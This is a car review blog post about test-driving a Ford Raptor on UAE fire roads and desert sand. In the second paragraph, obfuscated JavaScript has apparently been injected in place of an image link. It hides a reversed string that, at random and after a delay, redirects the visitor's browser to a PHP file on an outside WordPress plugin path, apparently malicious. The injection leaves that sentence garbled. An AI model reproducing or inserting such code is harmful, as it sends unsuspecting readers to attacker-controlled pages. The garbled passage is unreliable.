The Raptor has an incredibly tight turning capability for such a big vehicle with big tyres, and is easily placed through the obstacles. It appears that in making the Raptor so big, Ford has managed to make the obstacles smaller. Even this massive lake looked small!
As we left the Wadi and hit the fire road again, I was really beginning to get a feel for the car. With my best $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2012/11/UAE-Dubai-Ford-Raptor-Drive-133.jpg” target=”_blank”>Robbie Gordan face on, I engaged 2WD again, whipped the traction control off and brought my A-game to the table.
On the loose rutted surface, the mighty truck just soaked up everything thrown at it with ease. Drifting and sliding from corner to corner, it just couldn’t get any better. Or could it?
Time for the desert! Natural stomping ground for the Raptor and a chance for it to pop that cherry on top of this well engineered cake.
As always in the sand, the first order of activities is to drop the tyre pressures. Down to 18psi and we were ready for the off.
It’s times like this that you are reminded just how stunning the UAE vista is.
Now we are free and into the sand, we can talk about power! The 6.2-litre SOHC V8 stuffed up front churns out 411hp and 434 lb-ft of torque. It never feels super quick, yet it manages to get a head of steam far quicker than you initially think.
The six-speed automatic ‘box features a full manual mode that gives the driver complete control over gear selection and even though the upshifts are not up at the red line, you can pretty much control downshifts at your will (so long as you’re not going to bang the limit on the way down). One complaint though, why are there no paddles? The old school button on the side of the gear shifter is hugely frustrating.
Fuel economy?! Who cares! Once you get it in to the sandpit, the hoon machine really shows it’s colours. This thing happily gives you the Baja racer experience and makes you feel like an absolute child as you hang it out sideways at every opportunity.
